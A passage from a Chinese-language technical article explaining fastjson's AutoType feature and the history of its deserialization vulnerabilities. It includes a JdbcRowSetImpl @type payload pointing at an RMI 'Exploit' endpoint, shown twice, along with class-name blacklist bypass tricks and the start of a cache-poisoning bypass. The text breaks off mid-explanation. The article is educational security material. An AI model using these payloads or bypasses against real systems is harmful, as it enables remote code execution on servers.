<html>
 <head>
  <meta charset="UTF-8">
 </head>
 <body>
  <h1 data-lake-id="BRmEB" id="BRmEB"><span data-lake-id="u93127e1d" id="u93127e1d">典型回答</span></h1>
  <p data-lake-id="ub541d2e5" id="ub541d2e5"><br></p>
  <p data-lake-id="uba07f345" id="uba07f345"><span data-lake-id="uf8ea8caf" id="uf8ea8caf">当我们使用fastjson进行序列化的时候，当一个类中包含了一个接口（或抽象类）的时候，会将子类型抹去，只保留接口（抽象类）的类型，使得反序列化时无法拿到原始类型。</span></p>
  <p data-lake-id="u9b652219" id="u9b652219"><span data-lake-id="uc3bcf571" id="uc3bcf571">​</span><br></p>
  <p data-lake-id="u98454d69" id="u98454d69"><span data-lake-id="u726e82a2" id="u726e82a2">那么为了解决这个问题，fastjson引入了AutoType，即在序列化的时候，把原始类型记录下来。</span></p>
  <p data-lake-id="udb43dfea" id="udb43dfea"><span data-lake-id="ub646174b" id="ub646174b">​</span><br></p>
  <p data-lake-id="u38418ee5" id="u38418ee5"><span data-lake-id="u03ca6a4b" id="u03ca6a4b">因为有了autoType功能，那么fastjson在对JSON字符串进行反序列化的时候，就会读取`@type`到内容，试图把JSON内容反序列化成这个对象，并且会调用这个类的setter方法。</span></p>
  <p data-lake-id="u534f53db" id="u534f53db"><span data-lake-id="u932c5f53" id="u932c5f53">​</span><br></p>
  <p data-lake-id="u7fa68f05" id="u7fa68f05"><span data-lake-id="u09b99733" id="u09b99733">那么这个特性就可能被利用，攻击者自己构造一个JSON字符串，并且使用`@type`指定一个自己想要使用的攻击类库实现攻击。</span></p>
  <p data-lake-id="u47e2a1f7" id="u47e2a1f7"><br></p>
  <p data-lake-id="udd778098" id="udd778098"><span data-lake-id="u63568306" id="u63568306">举个例子，黑客比较常用的攻击类库是`com.sun.rowset.JdbcRowSetImpl`，这是sun官方提供的一个类库，这个类的dataSourceName支持传入一个rmi的源，当解析这个uri的时候，就会支持rmi远程调用，去指定的rmi地址中去调用方法。</span></p>
  <p data-lake-id="uf81fb368" id="uf81fb368"><span data-lake-id="uaea0e1f2" id="uaea0e1f2">​</span><br></p>
  <p data-lake-id="u9f672c84" id="u9f672c84"><span data-lake-id="u031c314c" id="u031c314c">而fastjson在反序列化时会调用目标类的setter方法，那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令，那么就会导致很严重的后果。</span></p>
  <p data-lake-id="u05c59b89" id="u05c59b89"><span data-lake-id="u7964e320" id="u7964e320">​</span><br></p>
  <p data-lake-id="u18306709" id="u18306709"><span data-lake-id="u31af1023" id="u31af1023">如通过以下方式定一个JSON串，即可实现远程命令执行（在早期版本中，新版本中JdbcRowSetImpl已经被加了黑名单）</span></p>
  <p data-lake-id="u111ab428" id="u111ab428"><span data-lake-id="u4058371f" id="u4058371f">​</span><br></p>
  <p data-lake-id="u2d5f280d" id="u2d5f280d"><span data-lake-id="ua09aa5f0" id="ua09aa5f0"> </span><code data-lake-id="u51e6b089" id="u51e6b089"><span data-lake-id="u5c5fa5bf" id="u5c5fa5bf">{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}</span></code></p>
  <p data-lake-id="u104f571d" id="u104f571d"><span data-lake-id="u9f49d499" id="u9f49d499"> </span></p>
  <p data-lake-id="u48bf0868" id="u48bf0868"><strong><span data-lake-id="u136939b9" id="u136939b9">这就是所谓的远程命令执行漏洞，即利用漏洞入侵到目标服务器，通过服务器执行命令。</span></strong></p>
  <h1 data-lake-id="BUmbX" id="BUmbX"><span data-lake-id="u30fabe60" id="u30fabe60">扩展知识</span></h1>
  <h3 data-lake-id="aQPfn" id="aQPfn"><br></h3>
  <h3 data-lake-id="9bd385ee" id="9bd385ee"><span data-lake-id="u40ff2d7e" id="u40ff2d7e">AutoType </span></h3>
  <p data-lake-id="ub04c3676" id="ub04c3676"><br></p>
  <p data-lake-id="ud49f299b" id="ud49f299b"><span data-lake-id="ua15b836a" id="ua15b836a">fastjson的主要功能就是将Java Bean序列化成JSON字符串，这样得到字符串之后就可以通过数据库等方式进行持久化了。</span></p>
  <p data-lake-id="ua69308de" id="ua69308de"><br></p>
  <p data-lake-id="uf614849a" id="uf614849a"><span data-lake-id="u85647ca3" id="u85647ca3">但是，fastjson在序列化以及反序列化的过程中并没有使用</span><span data-lake-id="uc512126e" id="uc512126e">Java自带的序列化机制</span><span data-lake-id="uffbc8cb3" id="uffbc8cb3">，而是自定义了一套机制。</span></p>
  <p data-lake-id="u523f45ae" id="u523f45ae"><br></p>
  <p data-lake-id="ua0680c11" id="ua0680c11"><span data-lake-id="ud83e5b62" id="ud83e5b62">其实，对于JSON框架来说，想要把一个Java对象转换成字符串，可以有两种选择：</span></p>
  <p data-lake-id="ufa44c969" id="ufa44c969"><br></p>
  <ul list="u6e51c7d1">
   <li fid="ue0dfa3d3" data-lake-id="u443521e9" id="u443521e9"><span data-lake-id="u6b321009" id="u6b321009">1、基于属性</span></li>
   <li fid="ue0dfa3d3" data-lake-id="u0f41d155" id="u0f41d155"><span data-lake-id="u71a95655" id="u71a95655">2、基于setter/getter</span></li>
  </ul>
  <p data-lake-id="u89d53e65" id="u89d53e65"><br></p>
  <p data-lake-id="u62dc2add" id="u62dc2add"><span data-lake-id="u4927c19d" id="u4927c19d">而我们所常用的JSON序列化框架中，FastJson和jackson在把对象序列化成json字符串的时候，是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的，他是通过反射遍历该类中的所有属性，并把其值序列化成json。</span></p>
  <p data-lake-id="ud8d78328" id="ud8d78328"><br></p>
  <p data-lake-id="uf8d9db92" id="uf8d9db92"><span data-lake-id="u2385362f" id="u2385362f">假设我们有以下一个Java类：</span></p>
  <p data-lake-id="u65d7d0fc" id="u65d7d0fc"><br></p>
  <pre lang="java"><code>
class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}
</code></pre>
  <p data-lake-id="ucff5a5c3" id="ucff5a5c3"><br></p>
  <p data-lake-id="u820e331b" id="u820e331b"><strong><span data-lake-id="u0bec9f50" id="u0bec9f50">当我们要对他进行序列化的时候，fastjson会扫描其中的getter方法，即找到getName和getFruit，这时候就会将name和fruit两个字段的值序列化到JSON字符串中。</span></strong></p>
  <p data-lake-id="ue257d5e5" id="ue257d5e5"><br></p>
  <p data-lake-id="u22ba0101" id="u22ba0101"><span data-lake-id="ua8d5d8dc" id="ua8d5d8dc">那么问题来了，我们上面的定义的Fruit只是一个接口，序列化的时候fastjson能够把属性值正确序列化出来吗？如果可以的话，那么反序列化的时候，fastjson会把这个fruit反序列化成什么类型呢？</span></p>
  <p data-lake-id="uc59e3961" id="uc59e3961"><br></p>
  <p data-lake-id="u6b90c767" id="u6b90c767"><span data-lake-id="u06deecc8" id="u06deecc8">我们尝试着验证一下，基于(fastjson v 1.2.68)：</span></p>
  <p data-lake-id="ue60c1598" id="ue60c1598"><br></p>
  <pre lang="java"><code>
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
</code></pre>
  <p data-lake-id="u393cf3f9" id="u393cf3f9"><br></p>
  <p data-lake-id="u54103bd2" id="u54103bd2"><span data-lake-id="u8be307b8" id="u8be307b8">以上代码比较简单，我们创建了一个store，为他指定了名称，并且创建了一个Fruit的子类型Apple，然后将这个store使用</span><code data-lake-id="u4d1a6daf" id="u4d1a6daf"><span data-lake-id="u78386863" id="u78386863">JSON.toJSONString</span></code><span data-lake-id="uc7210089" id="uc7210089">进行序列化，可以得到以下JSON内容：</span></p>
  <p data-lake-id="ueb3bd436" id="ueb3bd436"><br></p>
  <pre lang="java"><code>
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
</code></pre>
  <p data-lake-id="u0a8029ac" id="u0a8029ac"><br></p>
  <p data-lake-id="uf11833de" id="uf11833de"><span data-lake-id="ub03e5ffc" id="ub03e5ffc">那么，这个fruit的类型到底是什么呢，能否反序列化成Apple呢？我们再来执行以下代码：</span></p>
  <p data-lake-id="u9b9da289" id="u9b9da289"><br></p>
  <pre lang="java"><code>
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
</code></pre>
  <p data-lake-id="u1673ea8f" id="u1673ea8f"><br></p>
  <p data-lake-id="ua44002e0" id="ua44002e0"><span data-lake-id="u3f811ecf" id="u3f811ecf">执行结果如下：</span></p>
  <p data-lake-id="u254646ad" id="u254646ad"><br></p>
  <pre lang="java"><code>
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
</code></pre>
  <p data-lake-id="ud193b2b7" id="ud193b2b7"><br></p>
  <p data-lake-id="uf4fb2410" id="uf4fb2410"><span data-lake-id="u9593c214" id="u9593c214">可以看到，在将store反序列化之后，我们尝试将Fruit转换成Apple，但是抛出了异常，尝试直接转换成Fruit则不会报错，如：</span></p>
  <p data-lake-id="ubbd94314" id="ubbd94314"><br></p>
  <pre lang="java"><code>
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
</code></pre>
  <p data-lake-id="u0ea10523" id="u0ea10523"><br></p>
  <p data-lake-id="u651cb260" id="u651cb260"><span data-lake-id="ued26f03f" id="ued26f03f">以上现象，我们知道，</span><strong><span data-lake-id="u80f27ed6" id="u80f27ed6">当一个类中包含了一个接口（或抽象类）的时候，在使用fastjson进行序列化的时候，会将子类型抹去，只保留接口（抽象类）的类型，使得反序列化时无法拿到原始类型。</span></strong></p>
  <p data-lake-id="u22a4da6a" id="u22a4da6a"><br></p>
  <p data-lake-id="u802cf04b" id="u802cf04b"><span data-lake-id="uf5925b99" id="uf5925b99">那么有什么办法解决这个问题呢，fastjson引入了AutoType，即在序列化的时候，把原始类型记录下来。</span></p>
  <p data-lake-id="u55a55552" id="u55a55552"><span data-lake-id="u6a6fa4bf" id="u6a6fa4bf">使用方法是通过</span><code data-lake-id="ud9e1ce7c" id="ud9e1ce7c"><span data-lake-id="ud256779f" id="ud256779f">SerializerFeature.WriteClassName</span></code><span data-lake-id="uc17e37ed" id="uc17e37ed">进行标记，即将上述代码中的</span></p>
  <p data-lake-id="u33fa4703" id="u33fa4703"><br></p>
  <pre lang="java"><code>
String jsonString = JSON.toJSONString(store);
</code></pre>
  <p data-lake-id="u7946e8b7" id="u7946e8b7"><br></p>
  <p data-lake-id="u2b8fc4e6" id="u2b8fc4e6"><span data-lake-id="u13aa1aff" id="u13aa1aff">修改成：</span></p>
  <p data-lake-id="u3944139d" id="u3944139d"><br></p>
  <pre lang="java"><code>
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
</code></pre>
  <p data-lake-id="u88aa2c56" id="u88aa2c56"><br></p>
  <p data-lake-id="uff3a56e5" id="uff3a56e5"><span data-lake-id="u4eab9c43" id="u4eab9c43">即可，以上代码，输出结果如下：</span></p>
  <p data-lake-id="u6240313d" id="u6240313d"><br></p>
  <pre lang="java"><code>
System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}
</code></pre>
  <p data-lake-id="u731b164d" id="u731b164d"><br></p>
  <p data-lake-id="uf739bbf7" id="uf739bbf7"><span data-lake-id="uac4f077b" id="uac4f077b">可以看到，</span><strong><span data-lake-id="u14eb4682" id="u14eb4682">使用</span></strong><code data-lake-id="udf88c8f8" id="udf88c8f8"><strong><span data-lake-id="u710d5d4b" id="u710d5d4b">SerializerFeature.WriteClassName</span></strong></code><strong><span data-lake-id="uc568287c" id="uc568287c">进行标记后，JSON字符串中多出了一个</span></strong><code data-lake-id="u5a40b388" id="u5a40b388"><strong><span data-lake-id="u716a3b43" id="u716a3b43">@type</span></strong></code><strong><span data-lake-id="u0b92fb6e" id="u0b92fb6e">字段，标注了类对应的原始类型，方便在反序列化的时候定位到具体类型</span></strong></p>
  <p data-lake-id="ube85386d" id="ube85386d"><br></p>
  <p data-lake-id="u9a09367c" id="u9a09367c"><span data-lake-id="u101a9ad9" id="u101a9ad9">如上，将序列化后的字符串在反序列化，既可以顺利的拿到一个Apple类型，整体输出内容：</span></p>
  <p data-lake-id="u654e9b3d" id="u654e9b3d"><br></p>
  <pre lang="java"><code>
toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
</code></pre>
  <p data-lake-id="u7ce16a62" id="u7ce16a62"><br></p>
  <p data-lake-id="u4a6cca66" id="u4a6cca66"><span data-lake-id="uc459f2d2" id="uc459f2d2">这就是AutoType，以及fastjson中引入AutoType的原因。</span></p>
  <p data-lake-id="u10d5b740" id="u10d5b740"><br></p>
  <p data-lake-id="ub7a54ceb" id="ub7a54ceb"><span data-lake-id="u10da3b7b" id="u10da3b7b">但是，也正是这个特性，因为在功能设计之初在安全方面考虑的不够周全，也给后续fastjson使用者带来了无尽的痛苦</span></p>
  <p data-lake-id="u06ac6d7b" id="u06ac6d7b"><br></p>
  <h3 data-lake-id="2c664ee9" id="2c664ee9"><span data-lake-id="u05d98155" id="u05d98155">AutoType 何错之有？</span></h3>
  <p data-lake-id="u00cc9f5b" id="u00cc9f5b"><br></p>
  <p data-lake-id="u32839598" id="u32839598"><span data-lake-id="u173eb3d2" id="u173eb3d2">因为有了autoType功能，那么fastjson在对JSON字符串进行反序列化的时候，就会读取</span><code data-lake-id="u568eee69" id="u568eee69"><span data-lake-id="u0a303aca" id="u0a303aca">@type</span></code><span data-lake-id="u9ca6e126" id="u9ca6e126">到内容，试图把JSON内容反序列化成这个对象，并且会调用这个类的setter方法。</span></p>
  <p data-lake-id="ude850d18" id="ude850d18"><br></p>
  <p data-lake-id="u736b7ef4" id="u736b7ef4"><span data-lake-id="u80db21f9" id="u80db21f9">那么就可以利用这个特性，自己构造一个JSON字符串，并且使用</span><code data-lake-id="u3d3e544c" id="u3d3e544c"><span data-lake-id="u706ace9d" id="u706ace9d">@type</span></code><span data-lake-id="uff8d06cf" id="uff8d06cf">指定一个自己想要使用的攻击类库。</span></p>
  <p data-lake-id="u08448183" id="u08448183"><br></p>
  <p data-lake-id="u8cc02b7d" id="u8cc02b7d"><span data-lake-id="u3edfacf4" id="u3edfacf4">举个例子，黑客比较常用的攻击类库是</span><code data-lake-id="u31ff8a9c" id="u31ff8a9c"><span data-lake-id="u341df36d" id="u341df36d">com.sun.rowset.JdbcRowSetImpl</span></code><span data-lake-id="uffd729f8" id="uffd729f8">，这是sun官方提供的一个类库，这个类的dataSourceName支持传入一个rmi的源，当解析这个uri的时候，就会支持rmi远程调用，去指定的rmi地址中去调用方法。</span></p>
  <p data-lake-id="ud7c822e8" id="ud7c822e8"><br></p>
  <p data-lake-id="u3731ca8c" id="u3731ca8c"><span data-lake-id="u7daa326d" id="u7daa326d">而fastjson在反序列化时会调用目标类的setter方法，那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令，那么就会导致很严重的后果。</span></p>
  <p data-lake-id="u8d089ede" id="u8d089ede"><br></p>
  <p data-lake-id="ub672cac2" id="ub672cac2"><span data-lake-id="u48f78c3f" id="u48f78c3f">如通过以下方式定一个JSON串，即可实现远程命令执行（在早期版本中，新版本中JdbcRowSetImpl已经被加了黑名单）</span></p>
  <p data-lake-id="uac08e13f" id="uac08e13f"><br></p>
  <pre lang="java"><code>
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
</code></pre>
  <p data-lake-id="ue60c3ac6" id="ue60c3ac6"><br></p>
  <p data-lake-id="u525608f5" id="u525608f5"><strong><span data-lake-id="ucf8fcbc8" id="ucf8fcbc8">这就是所谓的远程命令执行漏洞，即利用漏洞入侵到目标服务器，通过服务器执行命令。</span></strong></p>
  <p data-lake-id="u3294daa0" id="u3294daa0"><br></p>
  <p data-lake-id="u0c84cd2b" id="u0c84cd2b"><span data-lake-id="u5c071faf" id="u5c071faf">在早期的fastjson版本中（v1.2.25 之前），因为AutoType是默认开启的，并且也没有什么限制，可以说是裸着的。</span></p>
  <p data-lake-id="ubde57ab3" id="ubde57ab3"><br></p>
  <p data-lake-id="uc436c02a" id="uc436c02a"><span data-lake-id="u5b587f9d" id="u5b587f9d">从v1.2.25开始，fastjson默认关闭了autotype支持，并且加入了checkAutotype，加入了黑名单+白名单来防御autotype开启的情况。</span></p>
  <p data-lake-id="u13aa62e7" id="u13aa62e7"><br></p>
  <p data-lake-id="ud3e0fac5" id="ud3e0fac5"><span data-lake-id="u5e7c8ff3" id="u5e7c8ff3">但是，也是从这个时候开始，黑客和fastjson作者之间的博弈就开始了。</span></p>
  <p data-lake-id="ubb8af7aa" id="ubb8af7aa"><br></p>
  <p data-lake-id="u17cc93fd" id="u17cc93fd"><span data-lake-id="u2c1aa32c" id="u2c1aa32c">因为fastjson默认关闭了autotype支持，并且做了黑白名单的校验，所以攻击方向就转变成了"如何绕过checkAutotype"。</span></p>
  <p data-lake-id="u089c4900" id="u089c4900"><br></p>
  <p data-lake-id="u03b84ed1" id="u03b84ed1"><span data-lake-id="u0208ba79" id="u0208ba79">下面就来细数一下各个版本的fastjson中存在的漏洞以及攻击原理，</span><strong><span data-lake-id="u82d7fca2" id="u82d7fca2">由于篇幅限制，这里并不会讲解的特别细节，如果大家感兴趣我后面可以单独写一篇文章讲讲细节</span></strong><span data-lake-id="u76108ae7" id="u76108ae7">。下面的内容主要是提供一些思路，目的是说明写代码的时候注意安全性的重要性。</span></p>
  <p data-lake-id="u3f4a9011" id="u3f4a9011"><br></p>
  <h4 data-lake-id="9524127e" id="9524127e"><span data-lake-id="u5a21b0f6" id="u5a21b0f6">绕过checkAutotype，黑客与fastjson的博弈</span></h4>
  <p data-lake-id="u610c4e41" id="u610c4e41"><br></p>
  <p data-lake-id="u66734e76" id="u66734e76"><span data-lake-id="u912a46e1" id="u912a46e1">在fastjson v1.2.41 之前，在checkAutotype的代码中，会先进行黑白名单的过滤，如果要反序列化的类不在黑白名单中，那么才会对目标类进行反序列化。</span></p>
  <p data-lake-id="ude02117b" id="ude02117b"><br></p>
  <p data-lake-id="ufec5aa04" id="ufec5aa04"><span data-lake-id="uce1f26ab" id="uce1f26ab">但是在加载的过程中，fastjson有一段特殊的处理，那就是在具体加载类的时候会去掉className前后的</span><code data-lake-id="u5f30a10a" id="u5f30a10a"><span data-lake-id="u581fac91" id="u581fac91">L</span></code><span data-lake-id="ub1368e78" id="ub1368e78">和</span><code data-lake-id="ud9c7d40c" id="ud9c7d40c"><span data-lake-id="ub6587136" id="ub6587136">;</span></code><span data-lake-id="ue5741e08" id="ue5741e08">，形如</span><code data-lake-id="u5346a5c8" id="u5346a5c8"><span data-lake-id="u5f89dbca" id="u5f89dbca">Lcom.lang.Thread;</span></code><span data-lake-id="u2213e23e" id="u2213e23e">。</span></p>
  <p data-lake-id="u4f738a4b" id="u4f738a4b"><br></p>
  <p data-lake-id="u582869e1" id="u582869e1"><img src="http://www.hollischuang.com/wp-content/uploads/2020/07/15938462506312.jpg?x-oss-process=image%2Fwatermark%2Ctype_d3F5LW1pY3JvaGVp%2Csize_49%2Ctext_SmF2YSA4IEd1IFA%3D%2Ccolor_FFFFFF%2Cshadow_50%2Ct_80%2Cg_se%2Cx_10%2Cy_10"><span data-lake-id="ua18d4afc" id="ua18d4afc">￼</span></p>
  <p data-lake-id="u5d1bb2af" id="u5d1bb2af"><br></p>
  <p data-lake-id="u495a5076" id="u495a5076"><span data-lake-id="uee0599d8" id="uee0599d8">而黑白名单又是通过startWith检测的，那么黑客只要在自己想要使用的攻击类库前后加上</span><code data-lake-id="u4fe2e727" id="u4fe2e727"><span data-lake-id="u11f89d9b" id="u11f89d9b">L</span></code><span data-lake-id="uec37a966" id="uec37a966">和</span><code data-lake-id="udc6fa447" id="udc6fa447"><span data-lake-id="u91426e70" id="u91426e70">;</span></code><span data-lake-id="u894b353a" id="u894b353a">就可以绕过黑白名单的检查了，也不耽误被fastjson正常加载。</span></p>
  <p data-lake-id="u7ae90a83" id="u7ae90a83"><br></p>
  <p data-lake-id="u09d79799" id="u09d79799"><span data-lake-id="u1e439e2f" id="u1e439e2f">如</span><code data-lake-id="ue1dad736" id="ue1dad736"><span data-lake-id="u51174cc7" id="u51174cc7">Lcom.sun.rowset.JdbcRowSetImpl;</span></code><span data-lake-id="u121d3e75" id="u121d3e75">，会先通过白名单校验，然后fastjson在加载类的时候会去掉前后的</span><code data-lake-id="u376348a3" id="u376348a3"><span data-lake-id="u164989cd" id="u164989cd">L</span></code><span data-lake-id="u286e08f3" id="u286e08f3">和</span><code data-lake-id="uac2aff5d" id="uac2aff5d"><span data-lake-id="ud28160b2" id="ud28160b2">;变成了</span></code><span data-lake-id="u398bcadf" id="u398bcadf">com.sun.rowset.JdbcRowSetImpl`。</span></p>
  <p data-lake-id="u648c298a" id="u648c298a"><br></p>
  <p data-lake-id="ue76a7bb4" id="ue76a7bb4"><span data-lake-id="u1b913643" id="u1b913643">为了避免被攻击，在之后的 v1.2.42版本中，在进行黑白名单检测的时候，fastjson先判断目标类的类名的前后是不是</span><code data-lake-id="ueed42ef4" id="ueed42ef4"><span data-lake-id="u8f35ec26" id="u8f35ec26">L</span></code><span data-lake-id="u72fe940e" id="u72fe940e">和</span><code data-lake-id="u290b81de" id="u290b81de"><span data-lake-id="u8bfad57c" id="u8bfad57c">;</span></code><span data-lake-id="udd048f6f" id="udd048f6f">，如果是的话，就截取掉前后的</span><code data-lake-id="u20cd1fe2" id="u20cd1fe2"><span data-lake-id="u05c3b159" id="u05c3b159">L</span></code><span data-lake-id="uf4614e1e" id="uf4614e1e">和</span><code data-lake-id="u4b17e36a" id="u4b17e36a"><span data-lake-id="u720643e8" id="u720643e8">;</span></code><span data-lake-id="ud9492f90" id="ud9492f90">再进行黑白名单的校验。</span></p>
  <p data-lake-id="uf0c55be2" id="uf0c55be2"><br></p>
  <p data-lake-id="u1d41efc0" id="u1d41efc0"><span data-lake-id="u303f8d1a" id="u303f8d1a">看似解决了问题，但是黑客发现了这个规则之后，就在攻击时在目标类前后双写</span><code data-lake-id="ub65a7c23" id="ub65a7c23"><span data-lake-id="u1749d9db" id="u1749d9db">LL</span></code><span data-lake-id="uc65efde8" id="uc65efde8">和</span><code data-lake-id="ub5598a8d" id="ub5598a8d"><span data-lake-id="ud31e073b" id="ud31e073b">;;</span></code><span data-lake-id="u9963149c" id="u9963149c">，这样再被截取之后还是可以绕过检测。如</span><code data-lake-id="u6eff320b" id="u6eff320b"><span data-lake-id="ud93b94b7" id="ud93b94b7">LLcom.sun.rowset.JdbcRowSetImpl;;</span></code></p>
  <p data-lake-id="ucd3155cc" id="ucd3155cc"><br></p>
  <p data-lake-id="ua6250d17" id="ua6250d17"><span data-lake-id="ufc3cddb4" id="ufc3cddb4">魔高一尺，道高一丈。在 v1.2.43中，fastjson这次在黑白名单判断之前，增加了一个是否以</span><code data-lake-id="uf516bba4" id="uf516bba4"><span data-lake-id="u4846a97c" id="u4846a97c">LL</span></code><span data-lake-id="u6707a7ff" id="u6707a7ff">未开头的判断，如果目标类以</span><code data-lake-id="ub66c8942" id="ub66c8942"><span data-lake-id="u588d0208" id="u588d0208">LL</span></code><span data-lake-id="ufb014daf" id="ufb014daf">开头，那么就直接抛异常，于是就又短暂的修复了这个漏洞。</span></p>
  <p data-lake-id="u2c5fef6d" id="u2c5fef6d"><br></p>
  <p data-lake-id="u046e0026" id="u046e0026"><span data-lake-id="u7f0ff0e9" id="u7f0ff0e9">黑客在</span><code data-lake-id="u2fd0adc6" id="u2fd0adc6"><span data-lake-id="ue44fb07b" id="ue44fb07b">L</span></code><span data-lake-id="u7b7c4763" id="u7b7c4763">和</span><code data-lake-id="u1b6b4f9b" id="u1b6b4f9b"><span data-lake-id="u3f2b0cb2" id="u3f2b0cb2">;</span></code><span data-lake-id="ue95ad7c7" id="ue95ad7c7">这里走不通了，于是想办法从其他地方下手，因为fastjson在加载类的时候，不只对</span><code data-lake-id="u03ca1a4d" id="u03ca1a4d"><span data-lake-id="u45ef0941" id="u45ef0941">L</span></code><span data-lake-id="ucf688920" id="ucf688920">和</span><code data-lake-id="ub472041a" id="ub472041a"><span data-lake-id="u8e092014" id="u8e092014">;</span></code><span data-lake-id="u547559e2" id="u547559e2">这样的类进行特殊处理，还对</span><code data-lake-id="u2bee9421" id="u2bee9421"><span data-lake-id="u045c1d1b" id="u045c1d1b">[</span></code><span data-lake-id="u2569c4dd" id="u2569c4dd">也被特殊处理了。</span></p>
  <p data-lake-id="u1985a3bf" id="u1985a3bf"><br></p>
  <p data-lake-id="u539ba9db" id="u539ba9db"><span data-lake-id="u965dc871" id="u965dc871">同样的攻击手段，在目标类前面添加</span><code data-lake-id="u8402f61c" id="u8402f61c"><span data-lake-id="u90741633" id="u90741633">[</span></code><span data-lake-id="u83735ee7" id="u83735ee7">，v1.2.43以前的所有版本又沦陷了。</span></p>
  <p data-lake-id="u4c01ec04" id="u4c01ec04"><br></p>
  <p data-lake-id="u3b7404a0" id="u3b7404a0"><span data-lake-id="uc7a8b399" id="uc7a8b399">于是，在 v1.2.44版本中，fastjson的作者做了更加严格的要求，只要目标类以</span><code data-lake-id="ua979aea0" id="ua979aea0"><span data-lake-id="u2f329e75" id="u2f329e75">[</span></code><span data-lake-id="u667bdd2e" id="u667bdd2e">开头或者以</span><code data-lake-id="ud457ac40" id="ud457ac40"><span data-lake-id="ub7d09b49" id="ub7d09b49">;</span></code><span data-lake-id="u486caadf" id="u486caadf">结尾，都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。</span></p>
  <p data-lake-id="u1ba60391" id="u1ba60391"><br></p>
  <p data-lake-id="u9ec66180" id="u9ec66180"><span data-lake-id="u385c12f9" id="u385c12f9">在之后的几个版本中，黑客的主要的攻击方式就是绕过黑名单了，而fastjson也在不断的完善自己的黑名单。</span></p>
  <p data-lake-id="u6add2c8a" id="u6add2c8a"><br></p>
  <h4 data-lake-id="314504bc" id="314504bc"><span data-lake-id="u051118b2" id="u051118b2">autoType不开启也能被攻击？</span></h4>
  <p data-lake-id="ub3d6d2eb" id="ub3d6d2eb"><br></p>
  <p data-lake-id="u8ef89aac" id="u8ef89aac"><span data-lake-id="u8d08e332" id="u8d08e332">但是好景不长，在升级到 v1.2.47 版本时，黑客再次找到了办法来攻击。而且这个攻击只有在autoType关闭的时候才生效。</span></p>
  <p data-lake-id="uba07ca8b" id="uba07ca8b"><br></p>
  <p data-lake-id="u9db9ab0c" id="u9db9ab0c"><span data-lake-id="ub7ec6417" id="ub7ec6417">是不是很奇怪，autoType不开启反而会被攻击。</span></p>
  <p data-lake-id="u12309c81" id="u12309c81"><br></p>
  <p data-lake-id="uecb941e6" id="uecb941e6"><span data-lake-id="ub128f924" id="ub128f924">因为</span><strong><span data-lake-id="u1d47b69d" id="u1d47b69d">在fastjson中有一个全局缓存，在类加载的时候，如果autotype没开启，会先尝试从缓存中获取类，如果缓存中有，则直接返回。</span></strong><span data-lake-id="u35e52df3" id="u35e52df3">黑客正是利用这里机制进行了攻击。</span></p>
  <p data-lake-id="u5ad2fbce" id="u5ad2fbce"><br></p>
  <p data-lake-id="u5bbe7a7b" id="u5bbe7a7b"><span data-lake-id="u4e02f4ac" id="u4e02f4ac">黑客先想办法把一个类加到缓存中，然后再次执行的时候就可以绕过黑白名单检测了，多么聪明的手段。</span></p>
  <p data-lake-id="u24236d93" id="u24236d93"><br></p>
  <p data-lake-id="ucdab7e09" id="ucdab7e09"><span data-lake-id="u5d292e61" id="u5d292e61">首先想要把一个黑名单中的类加到缓存中，需要使用一个不在黑名单中的类，这个类就是</span><code data-lake-id="u9293ae48" id="u9293ae48"><span data-lake-id="u1ab69d1b" id="u1ab69d1b">java.lang.Class</span></code></p>
  <p data-lake-id="uc1e9ec93" id="uc1e9ec93"><br></p>
  <p data-lake-id="uefc706f7" id="uefc706f7"><code data-lake-id="ufbf01b0e" id="ufbf01b0e"><span data-lake-id="ubfa3c149" id="ubfa3c149">java.lang.Class</span></code><span data-lake-id="u175c76a0" id="u175c76a0">类对应的deserializer为MiscCodec，反序列化时会取json串中的val值并加载这个val对应的类。</span></p>
  <p data-lake-id="ubc97f51f" id="ubc97f51f"><br></p>
  <p data-lake-id="u0e93f3a8" id="u0e93f3a8"><span data-lake-id="ua02e535c" id="ua02e535c">如果fastjson cache为true，就会缓存这个val对应的class到全局缓存中</span></p>
  <p data-lake-id="u6f33c722" id="u6f33c722"><br></p>
  <p data-lake-id="ucad91803" id="ucad91803"><span data-lake-id="u53d0879f" id="u53d0879f">如果再次加载val名称的类，并且autotype没开启，下一步就是会尝试从全局缓存中获取这个class，进而进行攻击。</span></p>
  <p data-lake-id="u8e9ec768" id="u8e9ec768"><br></p>
  <p data-lake-id="u1471967a" id="u1471967a"><span data-lake-id="u8d533e96" id="u8d533e96">所以，黑客只需要把攻击类伪装以下就行了，如下格式：</span></p>
